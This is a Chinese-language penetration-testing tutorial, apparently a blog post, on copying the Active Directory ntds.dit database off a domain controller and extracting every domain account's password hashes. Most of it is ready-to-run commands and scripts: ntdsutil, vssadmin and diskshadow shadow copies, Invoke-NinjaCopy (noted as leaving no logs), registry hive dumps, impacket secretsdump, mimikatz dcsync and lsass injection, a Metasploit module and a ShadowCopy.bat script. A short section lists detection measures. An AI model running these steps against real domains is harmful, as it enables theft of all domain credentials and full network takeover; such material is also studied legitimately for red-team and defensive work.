0x00 前言

在通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\Windows\NTDS\ntds.dit文件(活动目录始终访问这个文件,所以文件被禁止读取)。使用Windows本地卷影拷贝服务,就可以获得这个文件的副本

在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,存储位置为域控制器的%SystemRoot%\ntds\ntds.dit。

ntds.dit中包含(但不限于)用户名、散列值、组、GPP、OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。

0x01 提取ntds.dit

ntdsutil

ntdsutil 是一个为活动目录提供管理机制的命令行工具,使用 ntdsutil 可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导(DCPromo.exe)成功降级的与控制器留下的元数据等。

Ntdsutil.exe支持的操作系统有windows server2003、windows server2008、windows server2012

该工具默认安装在域控上,使用以下命令创建一个快照,该快照包含 Windows 中的所有文件,且在复制文件时不会受到 Windows 锁定机制的限制。

1
ntdsutil snapshot "activate instance ntds" create quit quit
image-20221114012706884

加载刚刚创建的快照

1
ntdsutil snapshot "mount {f7c5aed3-4c76-4e53-8b4a-86614dafff9a}" quit quit
image-20221114013138260

使用 copy 命令将快照中的文件复制到 C 盘下

1
copy C:\$SNAP_202211140125_VOLUMEC$\windows\NTDS\ntds.dit C:\ntds.dit

删除之前加载的快照

1
ntdsutil snapshot "unmount {{f7c5aed3-4c76-4e53-8b4a-86614dafff9a}" "delete {f7c5aed3-4c76-4e53-8b4a-86614dafff9a}" quit quit
image-20221114013505396

查询当前系统中的快照,可以看到没有任何快照

1
ntdsutil snapshot "List All" quit quit
image-20221114013601918

vssadmin

vssadmin 可用于创建和删除卷影拷贝、列出卷影的信息(只能管理系统 Provider 创建的卷影拷贝)、显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的存储空间(即所谓的 “diff 空间”)的大小等。

vssadmin 的使用流程和 ntdsutil 差不多,首先创建一个 C 盘的卷影拷贝

1
vssadmin create shadow /for=C:
image-20221114014031367

在创建的卷影拷贝中将 ntds.dit 复制出来

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\windows\NTDS\ntds.dit C:\ntds.dit

删除快照

1
vssadmin delete shadows /for=C: /quiet

vssown.vbs

vssown.vbs 脚本的功能和 vssadmin 类似,可用于创建和删除卷影拷贝以及启动和停止卷影拷贝服务。

vssown.vbs 下载地址:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

启动卷影拷贝服务

1
cscript vssown.vbs /start

创建一个 C 盘的卷影拷贝

1
cscript vssown.vbs /create c

列出当前卷影拷贝

1
cscript vssown.vbs /list
image-20221114015016370

复制 ntds.dit

1
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy3\windows\NTDS\ntds.dit C:\ntds.dit

删除卷影拷贝

1
cscript vssown.vbs /delete {7981F93F-7057-4536-8A43-AEEE1DB22466}

ntdsutil的IFM

除了上面介绍的通过执行命令来提取 ntds.dit,也可以通过创建一个 IFM 的方式获取 ntds.dit

在使用 ntdsutil 创建媒体安装集(IFM)时,需要进行生成快照、加载、将 ntds.dit 和计算机的 SAM 文件复制到目标文件夹中等操作,这些操作也可以通过 PowerShell 或 VMI 远程执行。

在域控中以管理员模式打开命令行环境,输入命令

1
ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
image-20221114015517917

此时 ntds.dit 将被保存在 C:\test\Active Directory 下,SYSTEN 和 SECURITY 两个文件将被保存在 C:\test\registry 文件夹下

将 ntds.dit 拖回本地后,在目标机器上将 test 文件夹删除

1
rmdir /s/q C:\test

Copy-VSS.ps1

nishang 工具包里的 Copy-VSS.ps1 也可以将 ntds.dit 提取出来,nishang 工具包地址:https://github.com/samratashok/nishang

1
2
3
4
Import-Module .\Copy-VSS.ps1
Copy-vss
或者
PowerShell -Exec bypass -C "Import-module .\Copy-VSS.ps1;Copy-vss"

通过该脚本,可以将 SAM、SYSTEM,ntds.dit 复制到与 ps1 脚本相同的目录下。

image-20221114021855801

diskshadow

diskshadow 和 vshadow 功能类似,不过 vshadow 是包含在 Windows SDK 里的,因此实际应用的时候还需要将其上传到目标机器上。

diskshadow 有交互模式和非交互模式,在使用交互模式时,需要在图形化界面里操作

首先创建一个 txt 文件,内容如下:

1
2
3
4
5
6
7
8
9
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% k:
exec "C:\windows\system32\cmd.exe" /c copy k:\Windows\NTDS\ntds.dit C:\ntds.dit
delete shadows all
list shadows all
reset
exit

使用 diskshadow 直接加载刚才的文本文件

1
diskshadow /s C:\command.txt
image-20221114022815458

因为 system.hive 里存放着 ntds.dit 的秘钥,所以需要转储 system.hive ,不然没法查看 ntds.dit 里内容

1
reg save hklm\system c:\windows\temp\system.hive

Invoke-NinjaCopy.ps1

PowerSploit 工具包里的 Invoke-NinjaCopy.ps1 脚本也可以提取 ntds.dit 文件,这种方法没有调用 Volume Shadow Copy 服务,所以不会产生日志文件

PowerSploit 工具包项目地址:https://github.com/PowerShellMafia/PowerSploit

1
2
Import-Module .\Invoke-NinjaCopy.ps1
Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.dit"

impacket

impacket 安装

1
2
3
git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
python3 setup.py install

通过 impacket 里的 secretsdump.py 脚本可以直接远程读取 ntds.dit 并导出哈希值

1
2
cd ./build/scripts-3.9
python3 secretsdump.py test.com/administrator:abc@123@10.1.1.2 -outputfile output_ntds

监控卷影拷贝服务的使用情况

通过监控卷影拷贝服务的使用情况,可以及时发现攻击者在系统中进行的一些恶意操作。

  • 监控卷影拷贝服务及任何涉及活动目录数据库文件(ntds.dit)的可疑操作行为
  • 监控System Event ID 7036(卷影拷贝服务进入运行状态的标志)的可疑实例,以及创建vssvc.exe进程的事件
  • 监控创建disk shadow.exe及相关子进程的事件
  • 监控客户端设备中的disk shadow.exe实例创建事件。除非业务需要,在Windows操作系统中不应该出现diskshadow.exe。如果发现,应立即将其删除
  • 通过日志监控新出现的逻辑驱动器映射事件

0x02导出ntds.dit中的散列值

esedbexport

安装 esedbexport,以 Kali 为例

1
2
3
4
5
6
7
8
apt-get install autoconf automake autopoint libtool pkg-config
wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz
tar zxvf libesedb-experimental-20210424.tar.gz
cd libesedb-20210424
./configure
make
make install
ldconfig

导出 ntds.dit

1
esedbexport -m tables ntds.dit

安装 ntdsxtract

1
2
3
4
git clone https://github.com/csababarta/ntdsxtract.git
cd ntdsxtract
python setup.py build
python setup.py install

将 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夹中,然后导出哈希值,最后的结果将保存在 all_user.txt 里

1
python2 dsusers.py ntds.dit.export/datatable.4 ntds.dit.export/link_table.7 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee all_user.txt

如果提示 ImportError: No module named Crypto.Hash,直接 pip install pycryptodome 即可

image-20221114062232506

ntds.dit 包含域内的所有信息,可以通过分析 ntds.dit 导出域内的计算机信息以及其他信息,最后结果将保存在 all_computers.csv 文件内

1
python2 dscomputers.py ntds.dit.export/datatable.4 computer_output --csvoutfile all_computers.csv

impacket

将 ntds.dit 和 SYSTEM 文件放入到 impacket 工具的文件夹中

1
impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

或者直接使用 python 执行 secretsdump.py 文件

1
2
cd ./build/scripts-3.9
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
image-20221114063245079

NTDSDump.exe

NTDSDumpEx.exe 可以进行导出哈希值的操作,下载地址:https://github.com/zcgonvh/NTDSDumpEx/releases

获取key:reg save HKLM\SYSTEM c:\Sys.hiv

1
NTDSDumpEx.exe -d ntds.dit -s Sys.hiv -o hash.txt

JetAttachDatabase() failed
原因:数据库需要修复,执行esentutl /p /o ntds.dit进行修复

image-20221114032522919

mimikatz

mimikatz 有个 dcsync 的功能,可以利用卷影拷贝服务直接读取 ntds.dit 文件并检索域散列值,不过需要管理员权限。

导出域内所有用户的用户名和哈希值

1
lsadump::dcsync /domain:test.god /all /csv
image-20221114034116357

导出域内指定用户的用户名和哈希值

1
lsadump::dcsync /domain:test.god /user:administrator
image-20221114034240897

也可以通过转储 lsass.exe 进行 dump 操作

1
2
privilege::debug
lsadump::lsa /inject

如果输出内容太多,可以使用 log 命令,这样操作就都会被记录到文本里了

image-20221114034700963

Invoke-DCSync.ps1

该脚本通过 Invoke-ReflectivePEinjection 调用 mimikatz.dll 中的 dcsync 功能,并利用 dcsync 直接读取 ntds.dit 得到域用户密码散列值

Invoke-DCSync.ps1 下载地址:https://gist.github.com/monoxgas/9d238accd969550136db

1
2
Import-Module ./Invoke-DCSync.ps1
Invoke-DCSync -PWDumpFormat
image-20221114035210468

MSF

msf 里的 psexec_ntdsgrab 可以获取目标的 ntds.dit 和 SYSTEM 并将其保存到 /root/.msf4/loot/ 目录下

1
2
3
4
5
6
use auxiliary/admin/smb/psexec_ntdsgrab
set rhosts 192.168.7.7
set smbdomain teamssix.com
set smbuser administrator
set smbpass 1qaz@WSX
run
image-20221114070304878

然后,接下来就可以使用impacket工具包等解析ntds.dit,导出域账户和域散列值

除此之外,在获取到会话后,也可以直接用 MSF 提供的模块获取 ntds.dit

1
2
3
use windows/gather/credentials/domain_hashdump
set session 1
run

注意生成的 payload 需要和目标系统位数一致,不然会报错

image-20221114071511261 image-20221114072129688

攻击windows server2012 r2 失败。

DSInternals

DSInternals 主要功能包括离线 ntds.dit 文件操作以及通过目录复制服务(DRS)远程协议查询域控制器。

DSInternals 下载地址:https://github.com/MichaelGrafnetter/DSInternals/releases

安装 DSInternals

1
Install-Module DSInternals -Force

直接导出 hash,并保存在 output_hash.txt 文件里

1
2
$key = Get-Bootkey -SystemHivePath 'C:\system'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -Bootkey $key | Out-File output_hash.txt

或者导出 hashcat 支持的 hash,并保存在output_hashcat.txt 文件里

1
2
$key = Get-Bootkey -SystemHivePath 'C:\system.hive'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File output_hashcat.txt

vshaow 和 QuarksPwDump

在正常的域环境中,ntds.dit 文件里包含大量的信息,体积较大,不方便保存到本地。

如果域控制器上没有安装杀毒软件,攻击者就能直接进入域控制器,导出 ntds.dit 并获得域账号和域散列值,而不需要将 ntds.dit 保存到本地。

QuarksPwDump 可以快速、安全、全面地读取全部域账号和域散列值。

QuarksPwDump 下载地址:https://github.com/tuthimi/quarkspwdump/tree/master/Release

ShadowCopy.bat 使用微软的卷影拷贝技术,能够复制被锁定的文件及被其他程序打开的文件,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK
set SOURCE_DRIVE_LETTER=%SystemDrive%
set SOURCE_RELATIVE_PATH=windows\ntds\ntds.dit
set DESTINATION_PATH=%~dp0
@echo ...Determine the scripts to be executed/generated...
set CALLBACK_SCRIPT=%~dpnx0
set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd
@echo ...Creating the shadow copy...
"%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%
@goto :EOF
:IS_CALLBACK
setlocal
@echo ...Obtaining the shadow copy device name...
call %TEMP_GENERATED_SCRIPT%
@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%
reg save hklm\system system.hive

vshadow.exe 是从 Windows SDK 中提取出来的,需要先安装 Windows SDK,下载地址:https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/

Windows SDK 下载安装完后,找到 vshadow.exe ,我这里的路径是:

1
C:\Program Files\Microsoft SDKs\Windows\v7.1\Bin\x64\vsstools\vshadow.exe

将这三个文件放到同一个文件夹里后,运行 ShadowCopy.bat 文件,之后可以看到导出了 ntds.dit 和 system.hive 文件

image-20221115025824220

使用 esentutl 修复导出的 ntds.dit 文件

1
esentutl /p /o ntds.dit

最后通过 QuarksPwDump.exe 导出域账号和散列值

1
QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt
image-20221115030216674

在 log 里就能看到导出的密码哈希了

image-20221115030235983